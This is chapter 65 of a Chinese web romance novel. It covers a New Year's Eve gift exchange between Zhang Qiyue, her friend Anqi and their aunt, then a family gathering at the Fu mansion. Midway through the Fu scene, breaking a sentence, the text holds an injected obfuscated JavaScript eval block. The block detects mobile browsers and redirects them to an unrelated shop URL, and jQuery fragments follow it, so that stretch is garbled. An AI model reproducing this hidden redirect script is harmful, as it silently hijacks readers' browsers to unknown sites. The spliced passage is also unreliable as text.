65. 第 65 章

作品:《恋月癖[先孕后爱]

    无论外面如何风雨飘摇,家里总是温暖如春。


    章柒月和安琪十分有默契,回到家后面对小姨时,两人都绝口不提最近的烦心事。


    年夜饭一如既往的丰盛,满满一桌子都是三人爱吃的菜系。


    安琪在给小姨倒酒时状似无意地开口:“小姨,前两天公司年终聚餐,柒月帮我挡了不少酒,这两天肠胃有点不舒服,今天就让她喝果汁吧。”


    章静苒也是从员工做到了公司合伙人,自然知道应酬的不易,“好,那今晚咱们都喝果汁吧。你们两个以后在外面应酬也要注意,身体要紧,年后看公司运营情况,或者可以招两个专门负责公关应酬的。”


    安琪十分自然地答应下来,家里没有外人,三人便都倒了鲜榨的橙汁,以果汁代酒,互道新年祝福。


    章柒月悄悄松了口气,还好早孕反应今天也没发作,否则真怕瞒不过细心的小姨。


    一顿饭吃得温馨而满足,饭后,三人一起收拾了碗筷,便到了互送新年礼物的环节。


    章柒月先拿出自己准备的礼物,是一个深蓝色天鹅绒首饰盒。


    打开后里面是一枚设计极为精巧的胸针,融合了古罗马的建筑元素,“小姨,这是您很喜欢的那位罗马艺术家的独家作品,我托在那边留学的同学抢到的。祝小姨在新的一年身体健康,永远光华璀璨!”


    章静苒接过盒子,喜爱之情溢于言表。“真漂亮,小姨很喜欢。”她当即取出来,别在了自己的领口,在灯光下,宝石折射出深邃的光芒,与她优雅的气质相得益彰。


    接着是安琪,她笑嘻嘻地搬出几个大小不一的礼盒,她一边往外拿,一边解释:


    “小姨,我知道您什么都不缺,贵的好的您见得多了。所以我从年底就开始琢磨,到底送您什么才好,后来我一想,干脆我就觉得什么适合您,什么您可能用得上,我就都买了!”


    她先拿出一个木匣,“这个是我一个玩户外探险的朋友,前阵子专门跑了一趟西藏那边朝圣,我托他带回来的当地正宗的冬虫夏草。您平时工作忙,这个给您补补身体。”


    然后又拎出一条质感极好的浅色羊绒围巾:“这是跟柒月逛街时一眼看中的,这颜色和质感,感觉特别特别衬您。”


    最后是两个更显厚重的长条形锦盒。


    她小心打开,里面是成套的,一看就年代久远、墨色沉静的徽墨,以及一沓洁白细腻、纹理均匀的宣纸。


    “这个是我一个家里世代做宣纸生意的客户,他们自家收藏的老料,知道您喜欢书法,就厚着脸皮讨了一份来。我不懂这个,但他说这是好东西,希望您别嫌弃。最后祝小姨在新的一年康健喜乐,万事顺意!”


    章静苒看着眼前琳琅满目、每一样都明显花了心思的礼物,她一样样接过,仔细看过,然后才妥善地放在一旁,满眼含笑地看着她们:


    “好,小姨都特别喜欢,你们两个丫头倒是把小姨的礼物都比下去了。”


    章静苒起身,走到客厅的边柜前,从抽屉里取出两个蓝色锦盒和两个略小一些的红色丝绒锦盒,转身走了回来。


    “来,你们的新年礼物。”她先把两个印着品牌logo的蓝色锦盒,分别递到章柒月和安琪手中。


    两人一看到JL的logo,眼睛都亮了一下,对视一眼小心翼翼地打开盒盖,表盘在室内暖光下流转着精致的光泽,两人同时发出一声喟叹:“哇!”


    宝蓝色的丝绒内衬上,静静躺着一枚工艺精湛的女士腕表,正是积家广受赞誉的“约会系列”。


    精致的表盘,优雅的指针,镶嵌的钻石在灯光下折射出细碎迷人的光芒。


    章静苒看着她们惊喜的模样,眼中笑意更深,“现在你们俩都是公司的老板了,不管公司规模大小,出门在外,该有的体面不能少。”


    她慢慢解释道:“这个系列的腕表,价格和款式都正适合你们现在这个阶段。安琪向来明媚,小姨给你选了玫瑰金的款式,更衬你的气质。柒月性子沉静些,这只精钢镶钻的刚刚好。”


    安琪和章柒月都爱不释手,反复看着腕表精致的细节,章柒月先不提,这块表的价格,对安琪来说,要比她那辆小车还要贵了。


    两人心中暖流涌动,不约而同地站起身,一左一右地轻轻抱住章静苒,将头靠在她肩上,声音里带着撒娇:“谢谢小姨~”


    章静苒慈爱地回抱了她们一下,然后笑着轻轻拍了拍她们的后背:“好啦好啦,快松开,礼物还没完呢,不想要啦?”


    “还有礼物啊?”章柒月都有些吃惊了,松开手和安琪对视一眼。


    章静苒但笑不语,又将那两个红色丝绒锦盒分别递给她们。


    这又是什么?


    两人更加纳闷,带着好奇再次打开锦盒,只见红色丝绒内衬上,静静地躺着一条钻石手链。


    设计极为精巧,不是那种厚重繁复的款式,而是由许多颗细小渐变、完美切割的钻石,通过铂金链节串联而成。


    钻石间的衔接几乎不着痕迹,宛如一条凝结的星河,璀璨、灵动,又带着高级的简约感。


    章柒月还没开口,安琪几乎是下意识地就盖上了盒子,塞回章静苒手里:“小姨!这个太贵重了!真的不能收!上次傅董事长送的项链我就已经很不好意思了……”


    章柒月也抬头看向小姨,她已经猜到了这应该也是傅董事长的手笔。


    果然,章静苒将锦盒重新放回安琪手中,并轻轻按住了她想推拒的手。


    “这个是你们傅叔叔准备的,他听我说要给你们选新年礼物,比我还积极,早就让人备好了。说来也巧,我们俩想的倒差不多,都觉得你们小姑娘长大了,该有些像样的首饰撑撑场面。”


    她看着安琪依旧不安的眼神,语气更加恳切:“安琪,你就放心收下。你从小和柒月一起长大,你小时候,小姨也没少抱你。后来你们姐妹俩一起读书,现在又一起创业,互相扶持,和亲姐妹也没什么两样。”


    “柒月身边有你陪着,小姨都放心不少。这份礼物,是我们做长辈的一点心意,希望你们以后的日子,都能够坚实璀璨,顺遂圆满。”


    章静苒这番话,说得情真意切。


    安琪和章柒月从小到大的情谊,她看在眼里。安琪父母虽然健在,但都不可靠。这些年安琪自己努力打拼,又毫无保留地拉柒月一起创业,给了柒月一个坚实的依靠。


    更何况,安琪也算是她看着长大的,这些年她看的出来安琪是个真诚的好孩子,能和柒月一起守望相助是难得的情谊。


    以后就算她不在柒月身边了,也算能放下一半的心了。


    安琪的眼眶瞬间就红了,从小爸爸就不喜欢她,妈妈整天除了逛街就是打牌,离婚后又再婚,连她生日都已不记得。


    小姨将她视如己出的心意,让她心里又暖又酸,一时说不出话来,只是握着那个锦盒,用力点了点头。


    章柒月也红了眼眶,她比安琪更清楚,这份礼物背后,不仅是傅叔叔的心意,或许也代表着小姨对她未来的安排和心意。


    她握住安琪的手,“那我们谢谢傅叔叔,也谢谢小姨。”


    安琪低头,飞快地擦去眼角溢出的泪珠,随即抬起头,脸上重新绽开灿烂的笑容,“对对对!谢谢傅叔叔!也祝小姨和傅叔叔,在新的一年里甜甜蜜蜜,恩恩爱爱,百年好合!”


    章静苒被安琪这连珠炮似的祝福逗得忍俊不禁,大年夜的,她也不扫兴,只笑着催促道:“好了,快戴上试试看,看喜不喜欢。”


    安琪和章柒月这才仔细将手链取出,戴在腕上。


    细密的钻石在光下并不显得过分张扬,却每一颗都折射出剔透纯净的光芒,宛如将一小片星河缠绕在纤细的手腕上,随着动作轻轻摇曳,流光溢彩。


    “好看。”章静苒端详几眼,“款式精致又不张扬,以后就戴着吧。”


    “嗯!”两人齐齐点头,看着彼此腕间闪烁的光芒,心里都暖洋洋的。


    这个除夕夜,虽然没有喧嚣的家族长辈环绕,但这份亲情与温情交织,如同最温暖的炉火,将过去一年里积压在心底的阴霾暂时驱散,也为即将到来的新的一年,点亮了第一束光芒。


    *


    与此同时,位于半山幽静处的傅家老宅,却是另一番景象。


    傅宅素来风格沉静低调,今晚却是难得的灯火通明。


    连庭院中空置许久的仿古流水喷泉都重新启动,潺潺水声伴着特意布置的暖色地灯,驱散了冬夜的寒气,添了几分鲜活。


    屋内,暖意融融。


    丰盛的年夜饭早已撤下,众人移步至一楼宽敞雅致的正厅。


    傅明远端坐于主位的紫檀木沙发上,傅中庭坐在他左手下方的首位。


    傅家二叔傅明扬携一家五口,特意从伦敦赶回来过年,此刻也都在座,傅明扬与大哥容貌有几分相似,气质却更为儒雅随和些。


    傅明扬有一子一女,长女早已嫁与一位英籍华裔,生有一女,小名小雪,今年刚满三岁,粉雕玉琢,此刻正兴致勃勃的由妈妈陪着,趴在茶几边上玩着满桌面新鲜的玩具。


    其子傅中越,比傅中庭小了五岁,相貌肖似父亲,气质更为跳脱些,目前尚未正式接手傅家在欧洲的总部事务,仍在历练中。


    虽然傅明扬一家常居海外,回国机会不多,但他们兄弟二人感情向来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996991|183807||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    深厚。


    加上傅家在欧洲的产业版图不小,傅中庭作为集团接班人,每年都要过去处理不少事务,与这位堂弟傅中越打交道的机会颇多,两人年龄相仿,脾性也合得来,关系比傅家和外祖父其他一些表堂兄弟更亲近。


    此刻,傅明扬端着上好的雨前龙井,正笑着打趣自家大哥:


    “大哥,今年这年过得可算舒心了吧,终于抱得美人归了。那会你火急火燎地亲自飞去伦敦,把我从滑雪场叫回来,我还以为出了什么天大的事。”


    他放下茶杯,促狭地看向傅明远,又瞥了一眼旁边安静喝茶的傅中庭,继续道:“结果是为了亲自去拍一套珠宝。好家伙,我当是什么国宝呢,还让大哥不远千里追过来,原来是追美人用的。”


    更绝的是珠宝还没到手,听说美人还先失联了,当时大哥那脸黑的比小时候揍他还严重。


    傅明远被弟弟揭了老底,脸上倒没什么窘迫,只端着茶盏,嘴角噙着一丝淡笑。


    傅明扬摇头笑道:好在那套珠宝是拍下来了,我赶紧让人加急送回国。后来听说,大哥回国后没用珠宝就把人给追到手了,怎么样,那珠宝佳人后来可还满意?”


    傅明远放下茶盏,看了弟弟一眼,“东西自然是送出去了,至于满不满意……人都是我的了,你说呢?”


    这话说得含蓄又霸气,引得傅明扬哈哈大笑,“是是是,大哥出马,哪有搞不定的道理!恭喜大哥,终于得偿所愿!”


    满屋的人都哄笑出声,几个小辈难得听到向来威严持重的大伯还有这样故事,一时听得津津有味。


    傅中庭端着青瓷茶杯,嘴角噙着一抹淡笑,只是那笑意并未抵达眼底。


    “咚、咚、咚……”


    一个内部飘着仿真雪花的透明弹力球,从茶几边缘滚落下来,在地板上弹跳了几下后滚到了傅中庭脚边。


    小雪正追着球玩,见状立刻迈着两条小短腿,哒哒地跑了过去。


    然而,就在她快要跑到傅中庭面前时却猛地来了个急刹车,小身子晃了晃,圆溜溜的大眼睛看了看,然后居然倒退了两小步,转身扑向了她更熟悉的小舅舅傅中越怀里。


    “哈哈哈!”傅中越被小外甥女这模样逗得大笑,弯腰一把将她抱到自己腿上坐好,毫不客气地开起了堂兄的玩笑:“大哥,你看你平时太严肃,气场两米八,连小雪都怕你。”


    傅二婶也是个活泼开朗的性子,见状顺势笑着将话题引回傅中庭身上。


    “大哥,要我说啊,中庭这孩子可是我们傅家这一辈里最拔尖的,能力没得说,又生得这样好,他的终身大事,您可得抓点紧,我们都盼着早点喝喜酒呢。你瞧我们家映晴,不过比中庭小一岁,小雪都满地跑了。”


    傅明远端着茶杯,笑了笑,目光看向自己儿子。


    却见傅中庭眼观鼻鼻观心,丝毫没有透露的意思,看来上次林氏的事闹出了岔子,自那后再没见儿子提女朋友的事,还不知道他现在是什么心思。


    傅明远四两拨千斤的转了话题:“我都退下来享清福了,他的事自己拿主意。他自己不争气,就算喜酒排到老子后面了,也怨不到我头上。”


    傅二婶一听这话,更是来了兴致,立刻打听起傅明远的婚礼打算,热心地建议不如直接去欧洲办,婚礼蜜月一起,她作为弟妹也好就近帮忙张罗。


    傅明远也不再提傅中庭,转而和二弟、弟妹聊了起来。


    傅中庭对长辈们的调侃恍若未闻,他只是微微弯腰捡起脚边那个小小的弹力球,然后朝怯生生偷看他的小雪伸出手,掌心托着那颗彩球。


    小雪先抬头看了看平日里更亲近的小舅舅,得到后者一个鼓励的点头后,才敢伸出肉嘟嘟的小手,飞快地从傅中庭掌心抓过小球,然后立刻缩回手,把小球紧紧抱在怀里。


    在茶几旁整理着女儿散落玩具的傅映晴,将刚才的一幕尽收眼底,也忍不住加入了打趣大哥的行列。


    “大哥,你还真是有大伯当年不怒自威的风范,我记得小时候,我和中越被爸妈送回国,在老宅住过一阵子。”


    她走过去坐在中越身边,顺手点了点中越,“那时候,中越天不怕地不怕,连爷爷的胡子都敢揪,可偏偏就是怕大伯,他一瞪眼就连大气都不敢出。大哥你现在这气场,我看是青出于蓝了。小心以后你有了自己的孩子,可别把孩子吓得不跟你亲近。”


    孩童那软嫩温热的小手,从傅中庭掌心飞快地划过,留下转瞬即逝又有些陌生的触感。


    傅中庭收回手,骨节分明的手指随意地搭在扶手上,对妹妹的调侃并不放在心上。


    才刚刚分手,什么孩子,不知道要到哪个年月去了。